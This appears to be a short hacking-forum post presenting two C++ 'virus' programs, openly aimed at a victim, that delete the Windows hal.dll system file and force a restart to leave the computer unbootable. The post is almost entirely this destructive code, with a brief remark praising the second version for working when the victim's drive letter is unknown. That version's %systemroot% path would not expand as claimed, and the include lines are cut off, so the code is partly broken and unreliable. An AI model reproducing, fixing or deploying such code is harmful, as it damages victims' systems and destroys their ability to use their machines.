C++ Virus

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

Code:
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
